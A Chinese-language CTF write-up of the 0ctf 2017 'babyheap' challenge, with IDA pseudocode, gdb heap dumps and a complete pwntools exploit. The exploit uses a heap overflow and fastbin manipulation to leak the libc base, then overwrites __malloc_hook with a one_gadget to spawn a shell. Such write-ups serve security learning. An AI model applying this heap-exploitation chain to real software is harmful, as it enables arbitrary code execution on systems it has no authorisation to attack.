这是0ctf 2017的一道pwn题。
主要是两点,第一点是怎么泄露libc的基地址,第二点是怎么执行shell
漏洞点:在fill函数中,IDA逆向分析如下:
unsigned __int64 __fastcall fill(pr_heap *a1) { unsigned __int64 result; // rax@1 int index; // [sp+18h] [bp-8h]@1 int size; // [sp+1Ch] [bp-4h]@4 printf("Index: "); result = read_to_int(); index = result; if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 ) { result = LODWORD(a1[(signed int)result].alloc_or_not); if ( (_DWORD)result == 1 ) { printf("Size: "); result = read_to_int(); size = result; if ( (signed int)result > 0 ) { printf("Content: "); result = read_data((__int64)a1[index].heap, size); } } } return result; }
漏洞是在往堆中fill数据时,数据大小是用户可以控制的 ,这样就可以覆盖堆后边的数据了。
void __fastcall allocate(pr_heap *base) { signed int index; // [sp+10h] [bp-10h]@1 signed int size; // [sp+14h] [bp-Ch]@3 void *heap_start_address; // [sp+18h] [bp-8h]@6 for ( index = 0; index <= 15; ++index ) { if ( !LODWORD(base[index].alloc_or_not) ) { printf("Size: "); size = read_to_int(); if ( size > 0 ) { if ( size > 4096 ) size = 4096; heap_start_address = calloc(size, 1uLL); if ( !heap_start_address ) exit(-1); LODWORD(base[index].alloc_or_not) = 1; *(_QWORD *)&base[index].size = size; base[index].heap = heap_start_address; printf("Allocate Index %d\n", (unsigned int)index); } return; } } }
在创建堆时有一个结构体,这个结构体大概是这样的:
struct pr_heap { double alloc_or_not; double size; void *heap; };
第一个0或者1,表示是否分配
第二个是分配的大小
第三个是指针指向堆的地址。
因为开启了PIE,所以需要泄露libc的基地址才能利用成功。
首先看获取libc基地址的方法:
首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了
所以重点是当small chunk释放时,能读出fd 或者 bk的值
贴一下该处的利用代码:
r.recvuntil(': ') alloc(0x20) alloc(0x20) alloc(0x20) alloc(0x20) #pause() alloc(0x80) free(1) free(2) #pause() payload = p64(0)*5 payload += p64(0x31) payload += p64(0)*5 payload += p64(0x31) payload += p8(0xc0) fill(0, payload) payload = p64(0)*5 payload += p64(0x31) fill(3, payload) alloc(0x20) alloc(0x20) payload = p64(0)*5 payload += p64(0x91) fill(3, payload) alloc(0x80) free(4) libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678 log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58)) log.info("libc_base: " + hex(libc_base))
首先申请5个堆块,前四个是0x20大小,后一个是0x80大小,分配后结构体所在内存布局如下:
gdb-peda$ x/20gx 0x2535a18ce740 0x2535a18ce740: 0x0000000000000001 0x0000000000000020 0x2535a18ce750: 0x00005560dae45010 0x0000000000000001 0x2535a18ce760: 0x0000000000000020 0x00005560dae45040 0x2535a18ce770: 0x0000000000000001 0x0000000000000020 0x2535a18ce780: 0x00005560dae45070 0x0000000000000001 0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0 0x2535a18ce7a0: 0x0000000000000001 0x0000000000000080 0x2535a18ce7b0: 0x00005560dae450d0 0x0000000000000000
堆内存布局:
gdb-peda$ x/30gx 0x00005560dae45000 0x5560dae45000: 0x0000000000000000 0x0000000000000031 0x5560dae45010: 0x0000000000000000 0x0000000000000000 0x5560dae45020: 0x0000000000000000 0x0000000000000000 0x5560dae45030: 0x0000000000000000 0x0000000000000031 0x5560dae45040: 0x0000000000000000 0x0000000000000000 0x5560dae45050: 0x0000000000000000 0x0000000000000000 0x5560dae45060: 0x0000000000000000 0x0000000000000031 0x5560dae45070: 0x0000000000000000 0x0000000000000000 0x5560dae45080: 0x0000000000000000 0x0000000000000000 0x5560dae45090: 0x0000000000000000 0x0000000000000031 0x5560dae450a0: 0x0000000000000000 0x0000000000000000 0x5560dae450b0: 0x0000000000000000 0x0000000000000000 0x5560dae450c0: 0x0000000000000000 0x0000000000000091 0x5560dae450d0: 0x0000000000000000 0x0000000000000000 0x5560dae450e0: 0x0000000000000000 0x0000000000000000
然后释放index为1,2的块:
gdb-peda$ x/20gx 0x2535a18ce740 0x2535a18ce740: 0x0000000000000001 0x0000000000000020 0x2535a18ce750: 0x00005560dae45010 0x0000000000000000 0x2535a18ce760: 0x0000000000000000 0x0000000000000000 0x2535a18ce770: 0x0000000000000000 0x0000000000000000 0x2535a18ce780: 0x0000000000000000 0x0000000000000001 0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0 0x2535a18ce7a0: 0x0000000000000001 0x0000000000000080 0x2535a18ce7b0: 0x00005560dae450d0 0x0000000000000000 0x2535a18ce7c0: 0x0000000000000000 0x0000000000000000 0x2535a18ce7d0: 0x0000000000000000 0x0000000000000000
然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。
填充前:
gdb-peda$ x/30gx 0x00005560dae45000 0x5560dae45000: 0x0000000000000000 0x0000000000000031 0x5560dae45010: 0x0000000000000000 0x0000000000000000 0x5560dae45020: 0x0000000000000000 0x0000000000000000 0x5560dae45030: 0x0000000000000000 0x0000000000000031 0x5560dae45040: 0x0000000000000000 0x0000000000000000 0x5560dae45050: 0x0000000000000000 0x0000000000000000 0x5560dae45060: 0x0000000000000000 0x0000000000000031 0x5560dae45070: 0x00005560dae45030 0x0000000000000000 0x5560dae45080: 0x0000000000000000 0x0000000000000000 0x5560dae45090: 0x0000000000000000 0x0000000000000031 0x5560dae450a0: 0x0000000000000000 0x0000000000000000 0x5560dae450b0: 0x0000000000000000 0x0000000000000000 0x5560dae450c0: 0x0000000000000000 0x0000000000000091 0x5560dae450d0: 0x0000000000000000 0x0000000000000000 0x5560dae450e0: 0x0000000000000000 0x0000000000000000
填充后:
gdb-peda$ x/30gx 0x00005560dae45000 0x5560dae45000: 0x0000000000000000 0x0000000000000031 0x5560dae45010: 0x0000000000000000 0x0000000000000000 0x5560dae45020: 0x0000000000000000 0x0000000000000000 0x5560dae45030: 0x0000000000000000 0x0000000000000031 0x5560dae45040: 0x0000000000000000 0x0000000000000000 0x5560dae45050: 0x0000000000000000 0x0000000000000000 0x5560dae45060: 0x0000000000000000 0x0000000000000031 0x5560dae45070: 0x00005560dae450c0 0x0000000000000000 0x5560dae45080: 0x0000000000000000 0x0000000000000000 0x5560dae45090: 0x0000000000000000 0x0000000000000031 0x5560dae450a0: 0x0000000000000000 0x0000000000000000 0x5560dae450b0: 0x0000000000000000 0x0000000000000000 0x5560dae450c0: 0x0000000000000000 0x0000000000000091 0x5560dae450d0: 0x0000000000000000 0x0000000000000000 0x5560dae450e0: 0x0000000000000000 0x0000000000000000
可以发现变化,
填充将0x5560dae45070的末尾字节由0x30改成了0xc0,此处正好是fastbin的fd 指向第二次分配fast chunk时的地址 也就是说第一次分配从0x5560dae45060开始,第二次分配从0x5560dae450c0开始了。
payload = p64(0)*5 payload += p64(0x31) fill(3, payload)
本来index=4的堆大小为0x90 此处填充覆盖index=4的堆首表示堆大小的值为0x31 ,也就是将堆从small chunk变成了fast chunk。为什么这样做呢 是为了后边分配0x30堆时的校验通过。
alloc(0x20)
alloc(0x20)
此时在分配两个大小为0x20的堆,第一个分配到0x5560dae45060处,第二次分配到0x5560dae450c0处
gdb-peda$ x/20gx 0x2535a18ce740 0x2535a18ce740: 0x0000000000000001 0x0000000000000020 0x2535a18ce750: 0x00005560dae45010 0x0000000000000001 0x2535a18ce760: 0x0000000000000020 0x00005560dae45070 0x2535a18ce770: 0x0000000000000001 0x0000000000000020 0x2535a18ce780: 0x00005560dae450d0 0x0000000000000001 0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0 0x2535a18ce7a0: 0x0000000000000001 0x0000000000000080 0x2535a18ce7b0: 0x00005560dae450d0 0x0000000000000000 0x2535a18ce7c0: 0x0000000000000000 0x0000000000000000 0x2535a18ce7d0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/30gx 0x00005560dae45000 0x5560dae45000: 0x0000000000000000 0x0000000000000031 0x5560dae45010: 0x0000000000000000 0x0000000000000000 0x5560dae45020: 0x0000000000000000 0x0000000000000000 0x5560dae45030: 0x0000000000000000 0x0000000000000031 0x5560dae45040: 0x0000000000000000 0x0000000000000000 0x5560dae45050: 0x0000000000000000 0x0000000000000000 0x5560dae45060: 0x0000000000000000 0x0000000000000031 0x5560dae45070: 0x0000000000000000 0x0000000000000000 0x5560dae45080: 0x0000000000000000 0x0000000000000000 0x5560dae45090: 0x0000000000000000 0x0000000000000031 0x5560dae450a0: 0x0000000000000000 0x0000000000000000 0x5560dae450b0: 0x0000000000000000 0x0000000000000000 0x5560dae450c0: 0x0000000000000000 0x0000000000000031 0x5560dae450d0: 0x0000000000000000 0x0000000000000000 0x5560dae450e0: 0x0000000000000000 0x0000000000000000
payload = p64(0)*5 payload += p64(0x91) fill(3, payload)
此处重新将index=4的堆大小修改为0x90,即small chunk。
alloc(0x80)
分配大小为0x90的块,index=5:
gdb-peda$ x/20gx 0x2535a18ce740 0x2535a18ce740: 0x0000000000000001 0x0000000000000020 0x2535a18ce750: 0x00005560dae45010 0x0000000000000001 0x2535a18ce760: 0x0000000000000020 0x00005560dae45070 0x2535a18ce770: 0x0000000000000001 0x0000000000000020 0x2535a18ce780: 0x00005560dae450d0 0x0000000000000001 0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0 0x2535a18ce7a0: 0x0000000000000001 0x0000000000000080 0x2535a18ce7b0: 0x00005560dae450d0 0x0000000000000001 0x2535a18ce7c0: 0x0000000000000080 0x00005560dae45160 0x2535a18ce7d0: 0x0000000000000000 0x0000000000000000
经过以上操作,
可以看到index=2和index=4处的堆地址是一样的了
free(4)
此时将index=4的堆释放,根据文章刚开头的介绍,此时index=4的堆(small bin)的fd bk都保存一个指针,这个指针地址在main_arena的0x58偏移处,指向top chunk的地址。
gdb-peda$ x/20gx 0x2535a18ce740 0x2535a18ce740: 0x0000000000000001 0x0000000000000020 0x2535a18ce750: 0x00005560dae45010 0x0000000000000001 0x2535a18ce760: 0x0000000000000020 0x00005560dae45070 0x2535a18ce770: 0x0000000000000001 0x0000000000000020 0x2535a18ce780: 0x00005560dae450d0 0x0000000000000001 0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0 0x2535a18ce7a0: 0x0000000000000000 0x0000000000000000 0x2535a18ce7b0: 0x0000000000000000 0x0000000000000001 0x2535a18ce7c0: 0x0000000000000080 0x00005560dae45160 0x2535a18ce7d0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/30gx 0x00005560dae45000 0x5560dae45000: 0x0000000000000000 0x0000000000000031 0x5560dae45010: 0x0000000000000000 0x0000000000000000 0x5560dae45020: 0x0000000000000000 0x0000000000000000 0x5560dae45030: 0x0000000000000000 0x0000000000000031 0x5560dae45040: 0x0000000000000000 0x0000000000000000 0x5560dae45050: 0x0000000000000000 0x0000000000000000 0x5560dae45060: 0x0000000000000000 0x0000000000000031 0x5560dae45070: 0x0000000000000000 0x0000000000000000 0x5560dae45080: 0x0000000000000000 0x0000000000000000 0x5560dae45090: 0x0000000000000000 0x0000000000000031 0x5560dae450a0: 0x0000000000000000 0x0000000000000000 0x5560dae450b0: 0x0000000000000000 0x0000000000000000 0x5560dae450c0: 0x0000000000000000 0x0000000000000091 0x5560dae450d0: 0x00007ff583cffb78 0x00007ff583cffb78 0x5560dae450e0: 0x0000000000000000 0x0000000000000000 gdb-peda$ p main_arena $1 = struct malloc_state { mutex = 0x0 flags = 0x0 fastbinsY = {...} top = 0x5560dae451e0 last_remainder = 0x0 bins = {...} binmap = {...} next = 0x7ff583cffb20 next_free = 0x0 attached_threads = 0x1 system_mem = 0x21000 max_system_mem = 0x21000 gdb-peda$ vmmap Start End Perm Name 。。。。。。。。 0x00007ff58393b000 0x00007ff583afb000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 。。。。。。。。 0x00007ff583f2c000 0x00007ff583f2d000 rw-p mapped 0x00007fff21261000 0x00007fff21282000 rw-p [stack] 0x00007fff2139c000 0x00007fff2139e000 r--p [vvar] 0x00007fff2139e000 0x00007fff213a0000 r-xp [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
main_arena在libc data段 偏移为0x7ff583cffb20-0x00007ff58393b000=0x3c4b20
libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20
因为index=2和index=4的堆地址是一样的,所以通过index=2的堆dump函数就可以读取出fd的数据了 。
经过以上分析调试,就可以读取出libc的基地址了。
下边是介绍怎么获取shell。
gdb-peda$ x/30gx 0x7ff583cffb20-0x30 0x7ff583cffaf0 <_IO_wide_data_0+304>: 0x00007ff583cfe260 0x0000000000000000 0x7ff583cffb00 <__memalign_hook>: 0x00007ff5839c0e20 0x00007ff5839c0a00 0x7ff583cffb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7ff583cffb20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7ff583cffb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ff583cffb40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ff583cffb50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
在mian_arena上边有个malloc_hook,当此处的值不为0的时候,程序就会跳到该处保存地址的地方指向代码。
所以思路是,在main_arena上方地址创建堆,填充数据,比如填充指向shellcode的地址,然后就可以跳转到shellcode执行了。
还有个比较麻烦的地方就是控制堆的大小,因为此处用到fast chunk,所以此处堆的大小为0x20-0x80,我们可以看到0x7ff583cffafc处,正好是0x00007f,符合我们的要求,所以可以在0x7ff583cffaed(此处指向堆首)处创建一个堆,然后填充数据,将malloc_hook填充为shellcode。
gdb-peda$ x/20gx 0x7ff583cffaec 0x7ff583cffaec <_IO_wide_data_0+300>: 0x83cfe26000000000 0x0000000000007ff5 0x7ff583cffafc: 0x839c0e2000000000 0x839c0a0000007ff5 0x7ff583cffb0c <__realloc_hook+4>: 0x0000000000007ff5 0x0000000000000000 0x7ff583cffb1c: 0x0000000000000000 0x0000000000000000 0x7ff583cffb2c <main_arena+12>: 0x0000000000000000 0x0000000000000000 0x7ff583cffb3c <main_arena+28>: 0x0000000000000000 0x0000000000000000 0x7ff583cffb4c <main_arena+44>: 0x0000000000000000 0x0000000000000000 0x7ff583cffb5c <main_arena+60>: 0x0000000000000000 0x0000000000000000 0x7ff583cffb6c <main_arena+76>: 0x0000000000000000 0xdae451e000000000 0x7ff583cffb7c <main_arena+92>: 0xdae4513000005560 0xdae4513000005560
先把此处的代码贴出来:
alloc(0x68) free(4) pause() fill(2, p64(libc_base + 0x3c4aed)) alloc(0x60) alloc(0x60) #pause() payload = '\x00'*3 payload += p64(0)*2 payload += p64(libc_base + 0x4526a) fill(6, payload) #pause() alloc(255) r.interactive()
alloc(0x68) free(4)
此处将刚才创建的small chunk修改fast chunk(其实是释放后的 )
fill(2, p64(libc_base + 0x3c4aed)) 将index=2的堆填充为malloc_hook前要创建的堆的堆首地址,也就是将index=4的fd修改为相同。
alloc(0x60) alloc(0x60)
先从index=2或者index=4处创建大小为0x70的堆,此时因为fd指向libc_base + 0x3c4aed,所以下次创建大小是0x70的堆时,就在libc_base + 0x3c4aed创建 inedx=6
payload = '\x00'*3 payload += p64(0)*2 payload += p64(libc_base + 0x4526a) fill(6, payload)
此时 填充index=6的堆,也就是在malloc_hook前创建的堆,然后将malloc_hook填充为shellcode的地址 。
alloc(255)
再次创建堆块时,shellcode得到执行,获取了shell。
最终结果:
shellcode获取:
在libc中包含execve('/bin/sh'),可以直接调用 。
可以通过one_gadget工具直接搜索相关代码
https://github.com/david942j/one_gadget
:
root@yang-virtual-machine:~/ctf# one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xcd0f3 execve("/bin/sh", rcx, r12) constraints: [rcx] == NULL || rcx == NULL [r12] == NULL || r12 == NULL 0xcd1c8 execve("/bin/sh", rax, r12) constraints: [rax] == NULL || rax == NULL [r12] == NULL || r12 == NULL 0xf0274 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1117 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 0xf66c0 execve("/bin/sh", rcx, [rbp-0xf8]) constraints: [rcx] == NULL || rcx == NULL [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL root@yang-virtual-machine:~/ctf#
比如此处的0x4526a的代码可以直接调用。
完整exp:
from pwn import * import sys def alloc(size): r.sendline('1') r.sendlineafter(': ', str(size)) r.recvuntil(': ', timeout=1) def fill(idx, data): r.sendline('2') r.sendlineafter(': ', str(idx)) r.sendlineafter(': ', str(len(data))) r.sendafter(': ', data) r.recvuntil(': ') def free(idx): r.sendline('3') r.sendlineafter(': ', str(idx)) r.recvuntil(': ') def dump(idx): r.sendline('4') r.sendlineafter(': ', str(idx)) r.recvuntil(': \n') data = r.recvline() r.recvuntil(': ') return data def exploit(r): r.recvuntil(': ') alloc(0x20) alloc(0x20) alloc(0x20) alloc(0x20) #pause() alloc(0x80) pause() free(1) free(2) #pause() payload = p64(0)*5 payload += p64(0x31) payload += p64(0)*5 payload += p64(0x31) payload += p8(0xc0) fill(0, payload) payload = p64(0)*5 payload += p64(0x31) fill(3, payload) alloc(0x20) alloc(0x20) payload = p64(0)*5 payload += p64(0x91) fill(3, payload) alloc(0x80) free(4) libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678 log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58)) log.info("libc_base: " + hex(libc_base)) alloc(0x68) free(4) pause() fill(2, p64(libc_base + 0x3c4aed)) alloc(0x60) alloc(0x60) #pause() payload = '\x00'*3 payload += p64(0)*2 payload += p64(libc_base + 0x4526a) fill(6, payload) #pause() alloc(255) r.interactive() if __name__ == "__main__": log.info("For remote: %s HOST PORT" % sys.argv[0]) if len(sys.argv) > 1: r = remote(sys.argv[1], int(sys.argv[2])) exploit(r) else: #r = process(['./babyheap'], env={"LD_PRELOAD":"./libc.so.6"}) r = process('./babyheap') print util.proc.pidof(r) #pause() exploit(r)
几点疑问:
1. 在 alloc(0x68)时,为什么堆首大小是0x71呢
2. 在alloc(0x60处),为什么堆首大小还是0x7f呢 就是最后在malloc_hook上申请的那个堆
参考链接: